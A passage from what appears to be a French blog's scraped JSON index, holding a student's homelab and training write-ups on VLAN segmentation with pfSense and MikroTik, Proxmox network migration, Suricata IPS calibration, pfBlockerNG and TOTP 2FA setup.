J\u0026rsquo;ai l\u0026rsquo;intention de reproduire cette architecture dans mon homelab Proxmox. Concrètement :\nDéployer la segmentation VLAN via Proxmox SDN avec pfSense comme firewall (dans le homelab, pas besoin de certification ANSSI) Monter un bastion Apache Guacamole pour sécuriser l\u0026rsquo;accès à mes VMs Intégrer Rsyslog et Wazuh pour aller plus loin que la simple centralisation de logs Tester la politique de sauvegarde 3-2-1 avec mon NAS Synology L\u0026rsquo;idée, c\u0026rsquo;est que chaque projet de formation devienne un projet homelab concret. La théorie c\u0026rsquo;est bien, mais c\u0026rsquo;est en cassant des trucs en lab qu\u0026rsquo;on apprend.\nCe que j\u0026rsquo;en retiens Ce projet m\u0026rsquo;a appris que la conception coûte plus cher en temps que l\u0026rsquo;implémentation. Pas en heures de travail brutes, mais en aller-retours. Chaque décision technique tire un fil qui touche le budget, le planning, la documentation. Et quand on modifie un choix en cours de route, tout le reste bouge.\nL\u0026rsquo;autre leçon, c\u0026rsquo;est que la sécurité physique est la première couche de défense en profondeur. C\u0026rsquo;est un angle mort fréquent dans les projets étudiants. Mon mentor me l\u0026rsquo;a rappelé, et les échanges sur Discord avec d\u0026rsquo;autres étudiants ayant déjà passé la soutenance m\u0026rsquo;ont confirmé que les évaluateurs posent systématiquement la question. J\u0026rsquo;ai intégré un kit complet (badge RFID, caméra IP, sonde environnementale) dans le budget pour cette raison.\nJe ne suis pas encore sûr d\u0026rsquo;avoir fait le meilleur choix sur tous les points. Le placement de Rsyslog en VLAN serveurs plutôt qu\u0026rsquo;en DMZ se défend, mais l\u0026rsquo;argument inverse n\u0026rsquo;est pas absurde non plus. Ce qui compte, c\u0026rsquo;est d\u0026rsquo;avoir un raisonnement documenté derrière chaque décision. C\u0026rsquo;est ça que l\u0026rsquo;évaluateur cherche, et c\u0026rsquo;est ça qu\u0026rsquo;un employeur attend aussi.\nCode source et documentation technique : Repo GitHub du projet P10\nRessources : ANSSI - Recommandations administration sécurisée des SI | Documentation Fortinet | Apache Guacamole\n","permalink":"https://appercel-clement.netlify.app/posts/assr10/","summary":"\u003cblockquote\u003e\n\u003cp\u003e⚠️ \u003cstrong\u003eDisclaimer\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eLa méthode que je présente ici correspond à ma propre démarche d\u0026rsquo;apprentissage. Elle peut contenir des approximations ou des erreurs, car j\u0026rsquo;apprends et je progresse chaque jour un peu plus. Ne prenez donc pas ce que je fais comme une référence absolue, mais plutôt comme un retour d\u0026rsquo;expérience personnel.\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch1 id=\"sécuriser-le-réseau-dune-entreprise-industrielle-en-partant-de-zéro\"\u003eSécuriser le réseau d\u0026rsquo;une entreprise industrielle en partant de zéro\u003c/h1\u003e\n\u003cp\u003ePremier vrai exercice de conception d\u0026rsquo;architecture réseau de ma formation OpenClassrooms. Pas un lab Proxmox où je casse des trucs dans mon coin, mais un scénario complet : un client fictif, des contraintes budgétaires, une baie de brassage qui n\u0026rsquo;a que 4U de libre, et 12 utilisateurs qui doivent continuer à bosser pendant qu\u0026rsquo;on sécurise tout.\u003c/p\u003e","title":"ASRS Projet 10 : Sécurisation du réseau d'une entreprise industrielle"},{"content":" ⚠️ Disclaimer\nLa méthode que je présente ici correspond à ma propre démarche d\u0026rsquo;apprentissage. Elle peut contenir des approximations ou des erreurs, car j\u0026rsquo;apprends et je progresse chaque jour un peu plus. Ne prenez donc pas ce que je fais comme une référence absolue, mais plutôt comme un retour d\u0026rsquo;expérience personnel.\nOù j\u0026rsquo;en étais Les trois premières phases avaient posé les bases : audit du réseau, configuration pfSense, segmentation VLAN sur MikroTik, migration des équipements terminaux dans leurs zones. J\u0026rsquo;avais un réseau segmenté en 5 zones, des règles firewall en place, le NAS et les postes dans leurs VLANs respectifs.\nSauf que deux morceaux de l\u0026rsquo;infrastructure traînaient encore sur l\u0026rsquo;ancien réseau 192.168.0.0/24 :\nLes trois hyperviseurs Proxmox, toujours joignables sur leurs anciennes IPs, avec des bridges réseau qui ignorent les VLANs La stack Docker sur le Mac Mini : Prometheus, Grafana, Loki pointaient vers des IPs qui n\u0026rsquo;existaient plus Et côté sécurité, les interfaces d\u0026rsquo;administration n\u0026rsquo;avaient qu\u0026rsquo;un mot de passe. Pas de détection d\u0026rsquo;intrusion, pas de filtrage DNS.\nCes deux phases couvrent la migration réseau de Proxmox et Docker, puis le durcissement avec Suricata en mode IPS, pfBlockerNG et le 2FA.\nPhase 4 : Migration Proxmox et stack Docker Le problème des bridges Proxmox Proxmox gère le réseau via des bridges Linux, des interfaces virtuelles qui relient les VMs à la carte réseau physique. Par défaut, l\u0026rsquo;IP du nœud est directement sur vmbr0, et les trames sortent non taguées. Ça marche très bien pour un réseau à plat. Ça ne marche plus du tout quand le switch attend du trafic tagué 802.1Q sur ses ports trunk.\nLa solution : créer une sous-interface vmbr0.20 qui force le tag VLAN 20 sur chaque trame sortante. La notation interface.VLANID est une convention Linux standard. C\u0026rsquo;est exactement ce que pfSense fait de son côté avec igb0.20. Même mécanisme, deux bouts du même câble.\nenp87s0 (interface physique) └── vmbr0 (bridge sans IP — VLAN aware activé) └── vmbr0.20 → IP 192.168.20.x/24 (trafic tagué VLAN 20) La checklist pré-migration Avant de toucher quoi que ce soit sur un nœud Proxmox, j\u0026rsquo;exécute quatre commandes systématiquement :\n1 2 3 4 ip addr show # inventaire de toutes les IPs présentes sur le nœud ip route show # détecter les routes parasites vers les sous-réseaux VLAN bridge link show # état des bridges ss -tlnp # services en écoute J\u0026rsquo;ai failli sauter cette étape sur le premier nœud. Grosse erreur.\nL\u0026rsquo;incident : routage asymétrique sur le nœud ASUS Le premier nœud migré (ASUS NUC 14 Pro+) m\u0026rsquo;a donné du fil à retordre. Après la configuration, pfSense pouvait pinger le nœud, mais le nœud ne pouvait pas pinger pfSense. Impossible d\u0026rsquo;accéder au WebUI Proxmox depuis le Mac. Les règles firewall étaient correctes, la config réseau avait l\u0026rsquo;air bonne.\nLe diagnostic :\n1 2 ip route show # → 192.168.10.0/24 dev vmbr2 proto kernel scope link src 192.168.10.1 vmbr2, un bridge créé pour un ancien projet de formation, avait gardé une IP 192.168.10.1 que je n\u0026rsquo;avais jamais nettoyée. Linux avait créé automatiquement une route directe vers 192.168.10.0/24 via ce bridge. Quand le Mac (192.168.10.100) initiait une connexion TCP vers le nœud, les SYN arrivaient correctement sur vmbr0.20. Mais les SYN-ACK repartaient par vmbr2 au lieu de vmbr0.20. Routage asymétrique. Les connexions TCP ne s\u0026rsquo;établissaient jamais.\n1 2 tcpdump -i any -n port 8006 # SYN entrant sur vmbr0.20, SYN-ACK sortant sur vmbr2 → connexion impossible La résolution : retirer l\u0026rsquo;IP de vmbr2 dans /etc/network/interfaces, redémarrer le networking. La route parasite disparaît, les connexions passent immédiatement.\nCe que je retiens de ce bug : ip route show avant toute migration réseau, sans exception. Une route parasite, c\u0026rsquo;est invisible en fonctionnement normal et catastrophique quand on change de sous-réseau.\nMigration des trois nœuds La procédure est identique sur chaque nœud (ASUS, MINIFORUM, TOPTON dans cet ordre). Je fais un nœud à la fois avec vérification entre chaque.\n/etc/network/interfaces : auto vmbr0 iface vmbr0 inet manual bridge-ports enp87s0 bridge-stp off bridge-fd 0 bridge-vlan-aware yes bridge-vids 2-4094 auto vmbr0.20 iface vmbr0.20 inet static address 192.168.20.94/24 # adapter selon le nœud gateway 192.168.20.1 dns-nameservers 192.168.20.1 Deux choses apprises sur le terrain :\nJ\u0026rsquo;ai désactivé le firewall Proxmox sur chaque nœud (pvesh set /nodes/[nom]/firewall/options --enable 0). Avoir le firewall natif Proxmox en plus des règles pfSense, ça complique le diagnostic sans apporter grand-chose dans cette architecture. Quand un ping ne passe pas, on ne sait plus lequel des deux bloque.\nAutre piège : pfSense ne laisse pas passer l\u0026rsquo;ICMP par défaut. Les nœuds Proxmox ont besoin de pinger leur gateway pour valider la connectivité, donc il faut ajouter une règle explicite dans les règles VLAN_MGMT. Ça paraît évident après coup, mais j\u0026rsquo;ai perdu du temps dessus.\nMise à jour de la stack Docker La migration réseau a un effet de bord direct : tous les services de monitoring pointent vers des IPs en 192.168.0.x qui n\u0026rsquo;existent plus.\nVoici le prometheus.yml mis à jour :\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 scrape_configs: - job_name: \u0026#39;pfsense\u0026#39; static_configs: - targets: [\u0026#39;192.168.20.1:161\u0026#39;] # SNMP pfSense - job_name: \u0026#39;mikrotik\u0026#39; static_configs: - targets: [\u0026#39;192.168.20.55:161\u0026#39;] # SNMP MikroTik - job_name: \u0026#39;nas\u0026#39; static_configs: - targets: [\u0026#39;192.168.50.17:9100\u0026#39;] # Node Exporter NAS - job_name: \u0026#39;proxmox\u0026#39; static_configs: - targets: - \u0026#39;192.168.20.93:9100\u0026#39; # MINIFORUM - \u0026#39;192.168.20.94:9100\u0026#39; # ASUS - \u0026#39;192.168.20.95:9100\u0026#39; # TOPTON Même mise à jour pour Promtail (les sources de logs). Redémarrage de la stack, puis vérification dans Prometheus \u0026gt; Status \u0026gt; Targets : toutes les cibles doivent passer en UP.\nPhase 5 : Durcissement sécurité Vue d\u0026rsquo;ensemble Internet → [pfSense WAN] ├── Suricata IPS — analyse et bloque les menaces réseau ├── pfBlockerNG — filtre les IPs et domaines malveillants └── [VLANs segmentés — Phases 1-4] ├── VLAN_MGMT — Proxmox ×3 (2FA TOTP) └── VLAN_SERVICES — NAS Synology (2FA TOTP) Suppression de Squid Proxy Premier chantier : virer Squid Proxy Server. Il était installé mais jamais configuré intentionnellement. Un service qui tourne sans qu\u0026rsquo;on sache exactement pourquoi, c\u0026rsquo;est une surface d\u0026rsquo;attaque gratuite.\nSans inspection SSL (ce qui nécessite une PKI interne pour ne pas casser les applis mobiles), Squid ne faisait que dupliquer ce que pfBlockerNG allait faire mieux via le filtrage DNS. J\u0026rsquo;ai désinstallé Squid Proxy Server, Squid Reverse Proxy, SquidGuard et ClamAV via le Package Manager. Aucune règle firewall n\u0026rsquo;en dépendait, donc pas de casse.\nDéploiement de pfBlockerNG pfBlockerNG fait deux choses : du blocage IP (listes de menaces au niveau firewall) et du DNSBL (filtrage DNS, les domaines malveillants sont interceptés avant même qu\u0026rsquo;une connexion ne s\u0026rsquo;établisse).\nLe truc important que j\u0026rsquo;ai appris : préparer la whitelist avant d\u0026rsquo;activer quoi que ce soit. Avant le premier Force Reload, j\u0026rsquo;ai listé tous les services actifs dans le homelab et whitelisté leurs domaines (Synology, Proxmox, Docker Hub, GitHub, Apple, Ring, Netatmo). Un domaine critique absent de la whitelist au moment de l\u0026rsquo;activation, ça crée une panne silencieuse très pénible à diagnostiquer.\nListes DNSBL que j\u0026rsquo;ai configurées :\nGroupe Source Objectif ADs_Basic Liste intégrée pfBlockerNG Blocage publicités Malware_Basic URLhaus (abuse.ch) Domaines malveillants Tracking_Basic notracking Domaines de tracking Les listes de blocage IP s\u0026rsquo;appliquent sur WAN en entrée, et sur tous les VLANs sauf VLAN_MGMT en sortie. Les équipements d\u0026rsquo;administration n\u0026rsquo;initient pas de connexions vers internet, donc les exclure évite tout blocage accidentel.\nCalibrage et activation de Suricata en mode IPS C\u0026rsquo;est l\u0026rsquo;étape qui m\u0026rsquo;a pris le plus de temps. Suricata tournait déjà en mode IDS depuis plusieurs mois, passif, sans blocage, en accumulant des données.\nJ\u0026rsquo;avais 109 105 alertes sur 6 mois. Voici ce que ça donnait une fois trié :\nCatégorie Volume Décision Checksum offload (bruit hardware NIC) ~102 046 (94%) Désactivé via SID Mgmt ET COMPROMISED (IPs malveillantes connues) ~3 900 Conservé CVE-2021-35394 Realtek 186 Conservé CVE-2022-27255 Realtek 109 Conservé CVE-2023-28771 Zyxel 20 Conservé 94% du volume, c\u0026rsquo;était du bruit. Un comportement matériel normal lié au checksum offload de la carte réseau, qui génère des fausses alertes en masse. Si j\u0026rsquo;avais activé le mode IPS sans ce calibrage, j\u0026rsquo;aurais eu des blocages massifs d\u0026rsquo;IPs légitimes dans les premières heures.\nUn point qui m\u0026rsquo;a causé de la confusion au début : SID Mgmt et Suppress, c\u0026rsquo;est pas la même chose.\nSID Mgmt (via disable.conf) désactive une règle globalement. C\u0026rsquo;est pour le bruit permanent et structurel. Suppress désactive une règle pour une IP ou un réseau spécifique. C\u0026rsquo;est pour les faux positifs contextuels, quand la règle est pertinente en général mais pas pour un hôte donné. Configuration IPS que j\u0026rsquo;ai retenue :\nMode : Legacy Mode (Suricata détecte, pfSense bloque via table firewall) Block Offenders : activé Kill States : activé (ça ferme les connexions TCP existantes de l\u0026rsquo;IP bannie) Which IP to Block : SRC, parce que sur WAN, l\u0026rsquo;attaquant est toujours en source Remove Blocked Hosts Interval : 1 heure, pour éviter les bans indéfinis sur faux positifs EVE JSON Log : activé, c\u0026rsquo;est le format standard pour ingestion SIEM (Wazuh plus tard) 2FA sur Proxmox et NAS Synology Application TOTP : Authy\nLe choix pragmatique. Sauvegarde chiffrée dans le cloud, multi-appareils, gratuit. J\u0026rsquo;ai envisagé du self-hosted (2FAuth, Ente Auth) mais ça crée un problème circulaire : l\u0026rsquo;appli TOTP tourne dans une VM, et on a besoin du TOTP pour accéder à la VM. Si elle tombe, on est verrouillé hors de toute l\u0026rsquo;infrastructure.\nProxmox (×3 nœuds)\nProxmox distingue deux types de comptes : root@pam (compte Linux système, realm PAM) et clement@pve (compte Proxmox uniquement, realm PVE). Les deux nécessitent une configuration 2FA séparée.\nCe que j\u0026rsquo;ai fait sur chaque nœud :\nCréation d\u0026rsquo;un compte dédié clement@pve avec droits Administrator. Je n\u0026rsquo;utilise plus root au quotidien. Activation TOTP sur clement@pve via Datacenter \u0026gt; Permissions \u0026gt; TFA Activation TOTP sur root@pam aussi Scan du QR code dans Authy, sauvegarde des codes de secours dans le gestionnaire de mots de passe Validation en fenêtre privée avant de fermer la session principale Un piège à connaître : le realm doit être sélectionné correctement à la connexion. Si on se trompe, les messages d\u0026rsquo;erreur ne disent pas que c\u0026rsquo;est un problème de realm. On cherche ailleurs pendant un moment.\nNAS Synology\nDSM propose le 2FA via Secure SignIn. J\u0026rsquo;ai choisi la méthode TOTP compatible Authy, sans dépendance aux serveurs Synology (le mode push nécessite leurs serveurs). Scan QR, codes de secours, validation, même routine.\nLe cas pfSense : pourquoi j\u0026rsquo;ai abandonné\npfSense CE 2.8.1 n\u0026rsquo;a pas de TOTP natif (contrairement à pfSense Plus). J\u0026rsquo;ai étudié la solution FreeRADIUS. Le problème : elle impose de remplacer le mot de passe fort de 40 caractères par un PIN à 4 chiffres. C\u0026rsquo;est une régression, pas une amélioration.\nLe 2FA ne vaut que ce que vaut son facteur le plus faible. Ajouter un deuxième facteur en affaiblissant le premier, ça n\u0026rsquo;a pas de sens. J\u0026rsquo;ai préféré garder le mot de passe fort et prévoir Authelia comme reverse proxy d\u0026rsquo;authentification en Phase 6.\nRésultat final Composant Avant Après Proxmox ×3 IPs 192.168.0.x, bridges non VLAN-aware VLAN_MGMT 192.168.20.x, vmbr0.20 VMs Proxmox Réseau à plat VLAN_LAB 192.168.30.x Stack Docker Cibles IPs mortes Toutes cibles UP, nouvelles IPs Suricata IDS passif, non calibré IPS actif, 94% bruit éliminé pfBlockerNG Absent DNSBL + IP blocking, 3 groupes de listes Squid Installé, non maîtrisé Supprimé 2FA Proxmox ×3 Absent TOTP Authy sur root + compte dédié 2FA NAS Synology Absent TOTP Authy via Secure SignIn Ce que j\u0026rsquo;en retiens ip route show avant chaque migration réseau sur un nœud Linux. Point. Une route parasite ne se voit pas en fonctionnement normal. Elle ne se manifeste que quand on change de sous-réseau, et à ce moment-là on ne pense plus à vérifier les routes.\nLe calibrage IDS doit précéder l\u0026rsquo;activation IPS. J\u0026rsquo;avais 6 mois de logs disponibles, ça aurait été stupide de ne pas les exploiter avant de passer en mode blocage. En entreprise comme en homelab, activer l\u0026rsquo;IPS sans analyse préalable, c\u0026rsquo;est la garantie de bloquer des hôtes légitimes dans les premières heures.\nAbandonner FreeRADIUS pour pfSense, c\u0026rsquo;est pas un échec. La solution était techniquement plus complexe et moins sécurisée que ce qu\u0026rsquo;elle remplaçait. Savoir renoncer à une approche qui dégrade la sécurité, c\u0026rsquo;est une compétence en soi.\nEt dernier point : une migration VLAN ne touche pas que le réseau. Elle invalide toutes les configs applicatives qui référencent des IPs. Prometheus, Promtail, les jobs de backup, le stockage NAS dans Proxmox\u0026hellip; Tout doit être passé en revue après chaque migration.\nLa suite La prochaine grosse étape, c\u0026rsquo;est Authelia avec LLDAP pour avoir une authentification centralisée SSO + 2FA devant toutes les interfaces web (pfSense, Proxmox, Grafana). C\u0026rsquo;est la vraie réponse au problème du 2FA pfSense.\nEn parallèle, je prévois de remplacer QuickConnect Synology par WireGuard pour l\u0026rsquo;accès distant, de déployer Wazuh comme SIEM (Suricata est déjà configuré pour envoyer ses logs en EVE JSON), et de lancer Greenbone/OpenVAS pour du scan de vulnérabilités interne.\nCode source et documentation technique : Repo GitHub, Projet Segmentation Homelab, configs Proxmox, prometheus.yml, calibrage Suricata, procédure 2FA, troubleshooting\nArticles connexes :\nPhase 1-3 : Audit et segmentation VLAN avec pfSense et MikroTik ","permalink":"https://appercel-clement.netlify.app/posts/homelab--phases-4--5--migration-proxmox-mise-%C3%A0-jour-docker-et-durcissement-s%C3%A9curit%C3%A9/","summary":"\u003cblockquote\u003e\n\u003cp\u003e⚠️ \u003cstrong\u003eDisclaimer\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eLa méthode que je présente ici correspond à ma propre démarche d\u0026rsquo;apprentissage. Elle peut contenir des approximations ou des erreurs, car j\u0026rsquo;apprends et je progresse chaque jour un peu plus. Ne prenez donc pas ce que je fais comme une référence absolue, mais plutôt comme un retour d\u0026rsquo;expérience personnel.\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch2 id=\"où-jen-étais\"\u003eOù j\u0026rsquo;en étais\u003c/h2\u003e\n\u003cp\u003eLes trois premières phases avaient posé les bases : audit du réseau, configuration pfSense, segmentation VLAN sur MikroTik, migration des équipements terminaux dans leurs zones. J\u0026rsquo;avais un réseau segmenté en 5 zones, des règles firewall en place, le NAS et les postes dans leurs VLANs respectifs.\u003c/p\u003e","title":"Homelab Phases 4 \u0026 5 : Migration Proxmox, Docker et durcissement sécurité"},{"content":" ⚠️ Disclaimer\nLa méthode que je présente ici correspond à ma propre démarche d\u0026rsquo;apprentissage. Elle peut contenir des approximations ou des erreurs, car j\u0026rsquo;apprends et je progresse chaque jour un peu plus. Ne prenez donc pas ce que je fais comme une référence absolue, mais plutôt comme un retour d\u0026rsquo;expérience personnel.\nCet article est le premier d\u0026rsquo;une série documentant la refonte complète de mon homelab. L\u0026rsquo;objectif : transformer un réseau domestique à plat en une infrastructure segmentée, proche de ce qu\u0026rsquo;on trouve dans une PME correctement sécurisée. Les détails techniques (configs, règles firewall, structure des alias) sont disponibles sur GitHub, ici je me concentre sur la démarche, les décisions d\u0026rsquo;architecture et les pièges rencontrés.\nPoint de départ : Un réseau à plat, c\u0026rsquo;est quoi le problème ? Avant ce projet, tout mon réseau tenait sur un seul segment. Mon NAS Synology, mes trois hyperviseurs Proxmox, la borne WiFi, les caméras de surveillance, les thermomètres connectés, les modules domotique, mon Mac de travail, tout au même niveau, sans aucune isolation.\nConcrètement, ça signifiait : si un objet IoT est compromis (un firmware vérolé sur une caméra par exemple), l\u0026rsquo;attaquant se retrouve directement sur le même réseau que mes serveurs et mon poste d\u0026rsquo;administration. Aucune barrière.\nPhase 1 : Audit et conception de l\u0026rsquo;architecture La première règle : cartographier avant de toucher quoi que ce soit Avant de configurer la moindre règle, j\u0026rsquo;ai passé du temps à documenter précisément l\u0026rsquo;existant :\nInventaire de tous les équipements et leurs adresses MAC/IP Services exposés sur le réseau Flux existants, qui parle à qui, sur quels ports C\u0026rsquo;est l\u0026rsquo;étape qu\u0026rsquo;on est tenté de sauter, et c\u0026rsquo;est celle qui coûte le plus cher si on la néglige. Dans mon cas, j\u0026rsquo;ai découvert des services oubliés, des IPs dynamiques sur des équipements qui auraient dû être en statique, et des ports applicatifs non documentés (client mail, synchronisation NAS, stack monitoring) qui se sont révélés manquants au moment de la migration.\nLa leçon : lister tous les flux applicatifs avant de toucher une règle firewall. Chaque oubli se traduit par un service cassé après la bascule.\nL\u0026rsquo;architecture cible : 5 zones de confiance J\u0026rsquo;ai défini cinq VLANs correspondant à des niveaux de confiance distincts :\nVLAN Nom Usage 10 LAN Postes de travail, smartphones de confiance 20 MGMT Interfaces d\u0026rsquo;administration 30 LAB VMs Proxmox, formation et tests 40 IoT Tous les objets connectés 50 SERVICES NAS La logique : le poste de travail peut accéder aux interfaces d\u0026rsquo;admin et au NAS, mais pas aux IoT. Un appareil IoT compromis ne peut accéder à rien d\u0026rsquo;autre, ni administration, ni NAS, ni serveurs.\nParallèle entreprise : c\u0026rsquo;est exactement l\u0026rsquo;architecture d\u0026rsquo;une PME correctement sécurisée, réseau utilisateurs, réseau serveurs, réseau management, réseau IoT, DMZ pour les services exposés.\nPhase 2 : Configuration pfSense La logique des alias : travailler proprement Plutôt que d\u0026rsquo;écrire des règles firewall avec des valeurs en dur, j\u0026rsquo;ai structuré la configuration en trois couches d\u0026rsquo;alias :\nAlias réseau : les plages IP par zone Alias ports simples : chaque service sur son port Alias ports groupés : regroupements logiques (tous les ports admin, tous les ports internet sortants\u0026hellip;) Quand un port change, on modifie l\u0026rsquo;alias une seule fois, toutes les règles qui l\u0026rsquo;utilisent sont automatiquement mises à jour. C\u0026rsquo;est le même principe qu\u0026rsquo;une table de référence dans une base de données.\nLes règles firewall : principe du moindre privilège Pour chaque VLAN, j\u0026rsquo;ai défini des règles en partant du plus restrictif : tout bloqué par défaut, puis ouverture explicite de ce qui est nécessaire.\nUn point souvent sous-estimé : le DNS doit être explicitement autorisé dans chaque VLAN, y compris les VLANs \u0026ldquo;serveurs\u0026rdquo;. pfSense évalue ses règles firewall même pour le trafic qui lui est destiné, sans règle DNS, les machines obtiennent une IP DHCP mais ne peuvent résoudre aucun nom. Symptôme classique : ping 8.8.8.8 fonctionne, ping google.com échoue. Pour VLAN_SERVICES en particulier, cette règle conditionne le fonctionnement de tous les services cloud Synology (QuickConnect, DDNS, Drive), elle doit être placée en première position.\nL\u0026rsquo;ordre des règles est critique. Sur VLAN_LAB par exemple, la règle qui autorise Promtail à pousser ses logs vers Loki doit être placée avant les règles de blocage, sinon les logs ne passent jamais.\nDNS interne avec Unbound J\u0026rsquo;ai créé des entrées DNS internes pour tous les équipements (pfsense.homelab.local, proxmox1.homelab.local, nas.homelab.local, grafana.homelab.local\u0026hellip;). Deux avantages : accès par nom au lieu d\u0026rsquo;IP, et si une IP change lors de la migration VLAN, une seule modification dans Unbound suffit.\nRègle Floating pour les mises à jour système pfSense est à la fois le routeur qui applique les règles et une machine qui doit se mettre à jour. Son trafic sortant passe directement par WAN, pas par ses propres interfaces VLAN. Une règle Floating spécifique est nécessaire pour lui permettre d\u0026rsquo;atteindre internet.\nPhase 3 : Configuration MikroTik CRS310 Le mécanisme central : Bridge VLAN Filtering Sur MikroTik RouterOS, la gestion des VLANs passe par le Bridge avec le VLAN Filtering activé. Le bridge est l\u0026rsquo;interface logicielle qui pilote la puce switch matérielle, activer le VLAN Filtering, c\u0026rsquo;est dire au bridge d\u0026rsquo;appliquer les règles VLAN sur chaque port.\nPoint de vigilance critique : une fois le VLAN Filtering activé, il s\u0026rsquo;applique immédiatement sur tous les ports. Si la configuration n\u0026rsquo;est pas correcte au moment de l\u0026rsquo;activation, on perd l\u0026rsquo;accès au switch.\nLa préparation avant la bascule Tout doit être configuré avant d\u0026rsquo;activer le VLAN Filtering :\nVLANs créés avec les bons ports Tagged/Untagged PVID configurés sur les ports access IP de management dans le VLAN d\u0026rsquo;administration, sans ça, le switch devient injoignable après la bascule Borne WiFi configurée avec les bons SSIDs et VLAN IDs : si on oublie ça, tous les appareils WiFi perdent internet au moment de l\u0026rsquo;activation Sur ce dernier point, la stratégie adoptée : conserver le SSID existant avec son mot de passe pour le réseau IoT. Les dizaines d\u0026rsquo;objets connectés se reconnectent automatiquement sans aucune manipulation. Seuls les PC et smartphones ont besoin d\u0026rsquo;être reconnectés sur le nouveau SSID. Un gain de temps considérable.\nLes pièges rencontrés Le bridge absent du VLAN de management : pour que l\u0026rsquo;IP de management du switch soit joignable, il faut ajouter bridge lui-même dans la liste Tagged du VLAN 20. Ce n\u0026rsquo;est pas documenté clairement dans la doc officielle MikroTik.\nL\u0026rsquo;accès à SRM de la borne Synology en mode Bridge : en mode AP, Synology restreint l\u0026rsquo;accès à son interface web aux connexions directes sur les ports LAN de la borne, pas depuis le réseau upstream. Solution retenue : accès via câble direct avec un PC portable si nécessaire, ce qui est rare en pratique.\nRésultat : Ce qui fonctionne maintenant Segmentation active : 5 VLANs opérationnels, chaque équipement dans sa zone Règles firewall structurées : principe du moindre privilège appliqué sur chaque interface DNS interne : tous les équipements accessibles par nom WiFi segmenté : deux SSIDs sur deux VLANs distincts, migration IoT transparente Monitoring actif : Prometheus, Grafana, Loki opérationnels post-migration Post-migration : Les problèmes qu\u0026rsquo;on ne voit pas venir Même avec une bonne préparation, deux points se sont révélés en pratique lors de la migration des équipements.\n1. Les ports dynamiques IoT et NAS : changer d\u0026rsquo;approche J\u0026rsquo;avais d\u0026rsquo;abord tenté d\u0026rsquo;énumérer les ports nécessaires pour les caméras IoT et les services Synology (MQTT, streaming, QuickConnect\u0026hellip;). C\u0026rsquo;est une bataille perdue, les fabricants utilisent des dizaines de ports différents, parfois aléatoires, parfois variables selon la région ou la version du firmware.\nLa bonne approche : autoriser la sortie internet sur tous ports vers !RFC1918. La sécurité ne repose pas sur le filtrage des ports sortants, elle repose sur l\u0026rsquo;isolation des réseaux internes. Un appareil IoT compromis peut contacter internet librement, mais il ne peut pas atteindre le NAS, les serveurs ou les interfaces d\u0026rsquo;administration. C\u0026rsquo;est ce qu\u0026rsquo;on cherche.\n2. Le port 6690 : Synology Drive silencieux Synology Drive (synchronisation de fichiers) utilise le port 6690 distinct du port DSM. DSM fonctionnait parfaitement, mais la synchronisation Drive échouait sans message d\u0026rsquo;erreur clair depuis le Mac. Une lecture des logs firewall a immédiatement identifié le port bloqué.\nRéflexe à avoir : quand un service Synology ne fonctionne pas après migration, ouvrir les logs firewall en filtrant sur l\u0026rsquo;IP du NAS. La réponse est toujours là.\nMigration Proxmox, adaptation des bridges réseau pour les VLANs Mise à jour configs Docker, variables d\u0026rsquo;environnement, secrets externalisés Authentification renforcée, 2FA sur toutes les interfaces d\u0026rsquo;administration DHCP statique pour tous les équipements fixes Ce que j\u0026rsquo;en retiens La cartographie des flux avant tout. Avant de toucher la moindre config, lister tous les services qui ont besoin de communiquer. Chaque oubli se traduit par un service cassé après la migration, client mail, synchronisation de fichiers, monitoring, tout doit être anticipé.\nLe DNS dans chaque VLAN, sans exception. C\u0026rsquo;est la règle la plus impactante, elle conditionne le fonctionnement de tous les services applicatifs, y compris les services cloud comme QuickConnect ou DDNS.\nLa segmentation IoT et SERVICES : sécurité = isolation, pas filtrage de ports. Autoriser tous les ports sortants vers internet est la bonne décision architecturale. La protection vient de l\u0026rsquo;isolation des réseaux internes.\nLa segmentation ne rend pas un réseau parfait, elle le rend raisonnable. Un appareil IoT compromis reste confiné dans son VLAN. C\u0026rsquo;est exactement ce qu\u0026rsquo;on cherche.\nLe homelab comme maquette d\u0026rsquo;entreprise. Ce que j\u0026rsquo;ai mis en place ici reproduit fidèlement ce qu\u0026rsquo;on trouve dans une PME correctement sécurisée, segmentation par zone de confiance, principe du moindre privilège, DNS interne, monitoring centralisé. C\u0026rsquo;est ce qui donne du sens à chaque choix technique au-delà du simple \u0026ldquo;ça marche\u0026rdquo;.\nCode source et documentation technique : Repo GitHub, Projet Segmentation Homelab, structure des alias, règles firewall par VLAN, config MikroTik, troubleshooting\n","permalink":"https://appercel-clement.netlify.app/posts/projet-segmentation-r%C3%A9seau/","summary":"\u003cblockquote\u003e\n\u003cp\u003e⚠️ \u003cstrong\u003eDisclaimer\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eLa méthode que je présente ici correspond à ma propre démarche d\u0026rsquo;apprentissage. Elle peut contenir des approximations ou des erreurs, car j\u0026rsquo;apprends et je progresse chaque jour un peu plus. Ne prenez donc pas ce que je fais comme une référence absolue, mais plutôt comme un retour d\u0026rsquo;expérience personnel.\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003eCet article est le premier d\u0026rsquo;une série documentant la refonte complète de mon homelab. L\u0026rsquo;objectif : transformer un réseau domestique à plat en une infrastructure segmentée, proche de ce qu\u0026rsquo;on trouve dans une PME correctement sécurisée. Les détails techniques (configs, règles firewall, structure des alias) sont disponibles sur GitHub, ici je me concentre sur la démarche, les décisions d\u0026rsquo;architecture et les pièges rencontrés.\u003c/p\u003e","title":"Homelab Phases 1 à 3 : Segmentation VLAN d'un réseau domestique"},{"content":" ⚠️ Disclaimer\nLa méthode que je présente ici correspond à ma propre démarche d\u0026rsquo;apprentissage. Elle peut contenir des approximations ou des erreurs, car j\u0026rsquo;apprends et je progresse chaque jour un peu plus. Ne prenez donc pas ce que je fais comme une référence absolue, mais plutôt comme un retour d\u0026rsquo;expérience personnel.\nIntroduction J\u0026rsquo;ai dû concevoir et implémenter une solution de sauvegarde pour une migration Proxmox. Le scénario était une mission R\u0026amp;D classique : trouver une alternative à la solution historique, la tester en profondeur, documenter comment la restaurer, et présenter le tout à un jury technique. J\u0026rsquo;ai choisi rsync avec SSH, un duo transparent, auditable et maîtrisable. Te voici ce que j\u0026rsquo;ai découvert en mettant les mains dans le cambouis.\nLe problème à résoudre Dans ma formation d\u0026rsquo;administrateur systèmes et 